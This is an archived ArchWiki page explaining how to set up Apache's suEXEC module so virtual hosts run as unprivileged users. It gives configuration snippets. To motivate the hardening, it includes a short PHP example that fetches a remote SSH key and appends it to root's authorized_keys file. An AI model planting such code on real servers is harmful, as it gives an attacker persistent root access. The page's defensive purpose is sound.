Apache, suEXEC and Virtual Hosts

From ArchWiki
Revision as of 18:34, 23 July 2005 by Klapmuetz (Talk | contribs) (Wiki migration)

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to: navigation, search

Apache, SuExec and virtual Hosts

This document describes how to use Apache's SuExec module in order to have virtual hosts running as a unprivileged user. Generally it's good practice not to let any kind of webspace have superuser privileges like this rather brutal PHP example shows:

     # of course this link doesn't lead anywhere
     $rsa_key = file('http://yourhost.homeip.net/id''rsa.pub');
     exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized''keys");

You get the point, do you? To prevent this, never let any virtual host have write access anywhere but in its own home directory or DocumentRoot. Unfortunately this method requires Apache to run as superuser in order to be able to become another user but it's not a big deal since you do not need to run in the default DocumentRoot as superuser too.

You should also consider using SuExec if you intend to have several FTP accounts pointing to those webspaces which need write permissions while the files still can be read by Apache.


  • you should be familiar with basic configuration of Apache
    • especially virtual hosts
  • superuser access to the target box
  • knowledge about adding users
  • can work with pacman

Adding SuExec module to Apache

  • load the SuExec module in /etc/httpd/conf/httpd.conf like this
LoadModule suexec''module        lib/apache/mod''suexec.so
  • make sure Apache's default DocumentRoot does not run as superuser either!
 User nobody
 Group nobody

Setting up a virtual Host to use SuExec

One way to do it is directly in /etc/httpd/conf/httpd.conf but I suggest to use a seperate file if you intend to create more than just a couple of virtual hosts. Either way, a virtual host that is supposed to use SuExec may look something like this:

        ServerName myhost
        ServerAlias  myhost.localdomain
        # this is where requests for / go
        DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs

        # here you tell which user (myhost) and group (ftponly) Apache should use
        SuexecUserGroup myhost ftponly

        # the following are optional but might be of use for you
        ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
        php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
        php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/htdocs/tmp
        php_admin_flag safe_mode On
        ErrorDocument 404 /home/www/vhosts/myhost.localdomain
        <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
                AllowOverride None
                Options +SymlinksIfOwnerMatch +Includes

"Disabling" default DocumentRoot

To further stricten your setup you can disable the default DocumentRoot in order to not have Apache execute anything as the superuser itself runs as. This procedure does not really disable it, rather points it somewhere where it's not remotely accessable anymore. It can be easily acchieved by replacing your default ServerName with the following:

 ServerName localhost:80

Finishing up

Like everytime you change default configuration parameters you need to restart Apache in order to make them have any effect.

 /etc/rc.d/httpd restart

External References

Author: kth5